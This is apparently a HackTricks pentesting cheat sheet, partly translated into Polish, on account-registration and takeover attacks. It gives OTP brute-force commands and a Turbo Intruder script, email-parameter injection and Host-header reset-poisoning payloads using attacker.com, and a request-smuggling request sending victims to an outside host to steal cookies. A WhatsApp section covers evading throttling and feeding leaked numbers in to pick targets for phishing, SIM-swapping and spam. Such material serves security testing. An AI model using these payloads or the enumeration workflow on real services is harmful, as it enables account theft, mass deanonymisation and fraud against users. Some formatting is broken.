Rejestracja & Takeover Vulnerabilities
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Registration Takeover
Duplikat rejestracji
- Spróbuj utworzyć konto używając istniejącej nazwy użytkownika
- Sprawdź różne warianty adresu e-mail:
- wielkie litery (uppercase)
- +1@
- dodaj kropkę w adresie e-mail
- znaki specjalne w części lokalnej adresu e-mail (%00, %09, %20)
- Dodaj białe znaki po adresie e-mail:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Wypróbuj sztuczki kanonizacji dostawców poczty (zależne od usługi):
- Gmail ignoruje kropki i subadresowanie:
victim+1@gmail.com,v.ic.tim@gmail.comdostarczane dovictim@gmail.com - Niektórzy dostawcy ignorują wielkość liter w części lokalnej
- Niektórzy dostawcy akceptują unicode confusables. Spróbuj homoglifów i soft hyphen
\u00ADw części lokalnej - Wykorzystaj to do: ominięcia sprawdzania unikalności, uzyskania zdublowanych kont/workspace invites, lub zablokowania rejestracji ofiary (tymczasowy DoS) podczas przygotowań do takeover
Enumeracja nazw użytkowników
Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika jest już zarejestrowana w aplikacji.
- Różne komunikaty o błędach lub statusy HTTP
- Różnice czasowe (istniejący użytkownik może wywoływać zapytanie do IdP/DB)
- Autouzupełnianie formularza rejestracji danymi profilu dla znanych adresów e-mail
- Sprawdź przepływy team/invite: wpisanie adresu e-mail może ujawniać, czy konto istnieje
Polityka haseł
Przy tworzeniu użytkownika sprawdź politykę haseł (sprawdź, czy można użyć słabych haseł).
W takim przypadku możesz spróbować bruteforce’ować poświadczenia.
SQL Injection
Sprawdź tę stronę aby dowiedzieć się, jak próbować account takeovers lub wydobyć informacje przez SQL Injections w formularzach rejestracji.
Oauth Takeovers
SAML Vulnerabilities
Zmiana adresu e-mail
Po rejestracji spróbuj zmienić adres e-mail i sprawdź, czy zmiana jest poprawnie weryfikowana lub czy można zmienić go na dowolny adres.
Dodatkowe sprawdzenia
- Sprawdź, czy można użyć disposable emails (mailinator, yopmail, 1secmail, etc.) lub obejść blocklistę przez subadresowanie jak
victim+mailinator@gmail.com - Bardzo długie hasło (>200) prowadzi do DoS
- Sprawdź limity częstotliwości tworzenia kont
- Użyj username@burp_collab.net i analizuj callback
- Jeśli używana jest weryfikacja numerem telefonu, sprawdź przypadki brzegowe parsowania/injection
Contact-discovery / identifier-enumeration oracles
Phone-number–centric messengers expose a presence oracle whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered >100M lookups per hour, enabling near-complete account enumerations.
Attack workflow
- Instrument an official client to capture the address-book upload request (authenticated blob of normalized E.164 numbers). Replay it with attacker-generated numbers while reusing the same cookies/device token.
- Batch numbers per request: WhatsApp accepts thousands of identifiers and returns registered/unregistered plus metadata (business, companion, etc.). Analyze responses offline to build target lists without messaging victims.
- Horizontally scale enumeration with SIM banks, cloud devices, or residential proxies so per-account/IP/ASN throttling never triggers.
Dialing-plan modeling
Model each country’s dialing plan to skip invalid candidates. The NDSS dataset (country-table.*) lists country codes, adoption density, and platform split so you can prioritize high-hit ranges. Example seeding code:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Priorytetowo wybieraj prefiksy dopasowane do rzeczywistych przydziałów (Mobile Country Code + National Destination Code) przed zapytaniem oracle, aby zachować użyteczną przepustowość.
Zamiana enumeracji w ataki ukierunkowane
- Wprowadzaj leaked numery telefonów (np. Facebook’s 2021 breach) do oracle, aby ustalić, które tożsamości są nadal aktywne przed phishingiem, SIM-swappingiem lub spamem.
- Segmentuj zestawienia według kraju/OS/typu app, aby znaleźć regiony ze słabym filtrowaniem SMS lub dużą adopcją WhatsApp Business dla lokalnego social engineering.
Korelacja ponownego użycia kluczy publicznych
WhatsApp ujawnia klucz tożsamości X25519 każdego konta podczas ustanawiania sesji. Pobierz materiały tożsamości dla każdego wyenumerowanego numeru i usuń duplikaty kluczy publicznych, aby ujawnić farmy kont, sklonowane clienty lub niebezpieczne firmware — współdzielone klucze deanonymizują operacje multi-SIM.
Słaba weryfikacja e-mail/telefonu (OTP/Magic Link)
Procesy rejestracji często weryfikują własność za pomocą numerycznego OTP lub tokena magic-link. Typowe błędy:
- Przewidywalny lub krótki OTP (4–6 cyfr) bez skutecznego rate limiting ani śledzenia IP/urządzenia. Spróbuj równoległych zgadywań i rotacji headerów/IP.
- Ponowne użycie OTP w różnych akcjach lub kontach, albo brak powiązania z konkretnym użytkownikiem/akcją (np. ten sam kod działa przy logowaniu i rejestracji lub działa po zmianie e-maila).
- Multi-value smuggling: niektóre backendy akceptują wiele kodów i weryfikują, czy któryś pasuje. Spróbuj:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: rozróżniaj kody niepoprawne vs wygasłe vs przypisane do innego użytkownika po statusie/komunikacie/długości body.
- Tokeny nie są unieważniane po sukcesie ani po zmianie hasła/e-maila.
- Token weryfikacyjny niepowiązany z user agent/IP, co pozwala na ukończenie procesu cross-origin z kontrolowanej przez atakującego strony.
Przykład bruteforcingu z ffuf przeciwko JSON OTP endpointowi:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Równoległe/współbieżne odgadywanie, aby obejść sekwencyjne blokady (użyj Turbo Intruder w Burp):
Fragment Turbo Intruder do zalewania prób 6‑cyfrowych OTP
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)
</details>
- Try racing verification: prześlij ten sam ważny OTP jednocześnie w dwóch sesjach; czasami jedna sesja staje się zweryfikowanym kontem atakującego, podczas gdy proces ofiary również się powiodzie.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account Pre‑Hijacking Techniques (before the victim signs up)
Potężna klasa problemów pojawia się, gdy atakujący wykonuje działania na skrzynce email ofiary zanim ofiara utworzy konto, a następnie później odzyskuje dostęp.
Key techniques to test (adapt to the target’s flows):
- Classic–Federated Merge
- Atakujący: rejestruje klasyczne konto z adresem email ofiary i ustawia hasło
- Ofiara: później rejestruje się przez SSO (ten sam email)
- Nieprawidłowe łączenia mogą pozostawić obie strony zalogowane lub przywrócić dostęp atakującego
- Unexpired Session Identifier
- Atakujący: tworzy konto i utrzymuje sesję długotrwałą (nie wylogowuje się)
- Ofiara: odzyskuje/ustawia hasło i korzysta z konta
- Przetestuj, czy stare sesje pozostają ważne po resecie lub włączeniu MFA
- Trojan Identifier
- Atakujący: dodaje identyfikator wtórny do wcześniej utworzonego konta (telefon, dodatkowy email, lub łączy IdP atakującego)
- Ofiara: resetuje hasło; atakujący później używa trojana do resetu/logowania
- Unexpired Email Change
- Atakujący: inicjuje zmianę email na email atakującego i wstrzymuje potwierdzenie
- Ofiara: odzyskuje konto i zaczyna z niego korzystać
- Atakujący: później finalizuje oczekującą zmianę email, aby przejąć konto
- Non‑Verifying IdP
- Atakujący: używa IdP, który nie weryfikuje własności email, aby zadeklarować `victim@…`
- Ofiara: rejestruje się klasyczną ścieżką
- Serwis łączy konta po email bez sprawdzenia `email_verified` lub wykonania lokalnej weryfikacji
Praktyczne wskazówki
- Zbieraj przepływy i endpointy z paczek web/mobile. Szukaj klasycznego signupu, linkowania SSO, zmiany email/telefonu oraz endpointów resetu hasła.
- Stwórz realistyczną automatyzację, aby utrzymywać sesje aktywne podczas testowania innych przepływów.
- For SSO tests, postaw testowy OIDC provider i wydawaj tokeny z roszczeniami `email` dla adresu ofiary oraz `email_verified=false`, aby sprawdzić, czy RP ufa niezweryfikowanym IdP.
- Po każdym password reset lub zmianie email sprawdź, że:
- wszystkie inne sesje i tokeny są unieważnione,
- oczekujące możliwości zmiany email/telefonu są anulowane,
- wcześniej powiązane IdP/email/telefony są ponownie weryfikowane.
Note: Obszerna metodologia i studia przypadków tych technik są udokumentowane w badaniach Microsoft dotyczących pre‑hijacking (zob. References na końcu).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Kliknij zewnętrzną stronę (np. Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Sprawdź, czy nagłówek Referer ujawnia token resetu hasła.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR on API Parameters
- Atakujący musi zalogować się na swoje konto i przejść do funkcji Change password.
- Uruchom Burp Suite i przechwyć zapytanie
- Wyślij je do zakładki repeater i edytuj parametry : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Słaby Password Reset Token
Password reset token powinien być generowany losowo i unikatowy za każdym razem.
Spróbuj sprawdzić, czy token wygasa, czy jest zawsze taki sam — w niektórych przypadkach algorytm generowania jest słaby i można go odgadnąć. Następujące zmienne mogą być użyte przez algorytm.
- Znacznik czasu
- UserID
- Email użytkownika
- Imię i nazwisko
- Data urodzenia
- Kryptografia
- Tylko cyfry
- Krótka sekwencja tokena ( znaki między [A-Z,a-z,0-9])
- Ponowne użycie tokena
- Data wygaśnięcia tokena
Leaking Password Reset Token
- Wyzwól żądanie resetu hasła przez API/UI dla konkretnego emaila, np.: test@mail.com
- Zbadaj odpowiedź serwera i sprawdź
resetToken - Następnie użyj tokena w URL-u takim jak
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Zarejestruj się w systemie z username identycznym jak username ofiary, ale z wstawionymi spacjami przed i/lub po username. np:
"admin " - Poproś o reset hasła używając swojego złośliwego username.
- Użyj tokena wysłanego na twój email i zresetuj hasło ofiary.
- Zaloguj się na konto ofiary używając nowego hasła.
Platforma CTFd była podatna na ten atak.
See: CVE-2020-7245
Przejęcie konta przez Cross Site Scripting
- Znajdź XSS w aplikacji lub subdomenie jeśli cookies są przypisane do domeny nadrzędnej :
*.domain.com - Leak the current sessions cookie
- Zaloguj się jako użytkownik używając cookie
Przejęcie konta przez HTTP Request Smuggling
- Użyj smuggler aby wykryć typ HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Skomponuj żądanie, które nadpisze
POST / HTTP/1.1następującymi danymi:GET http://something.burpcollaborator.net HTTP/1.1 X:z celem przekierowania ofiar do burpcollab i kradzieży ich cookies\ - Końcowe żądanie może wyglądać następująco
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
HackerOne zgłaszał wykorzystanie tego błędu\
Account Takeover via CSRF
- Stwórz payload dla CSRF, np: “HTML form with auto submit for a password change”
- Wyślij payload
Account Takeover via JWT
JSON Web Token może być używany do uwierzytelniania użytkownika.
- Edytuj JWT, ustawiając inny User ID / Email
- Sprawdź, czy podpis JWT jest słaby
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Niektóre signup handlery wykonują upsert, gdy podany e-mail już istnieje. Jeśli endpoint akceptuje minimalne body zawierające email i password i nie wymusza weryfikacji własności, wysłanie adresu e-mail ofiary nadpisze jej password przed uwierzytelnieniem.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: GET zwracający komunikaty takie jak “Only POST request is allowed.” często wskazuje poprawną metodę (HTTP) i że oczekiwane jest JSON body.
- Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}
Przykładowy PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Wpływ: Full Account Takeover (ATO) bez żadnego reset token, OTP ani email verification.
Referencje
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


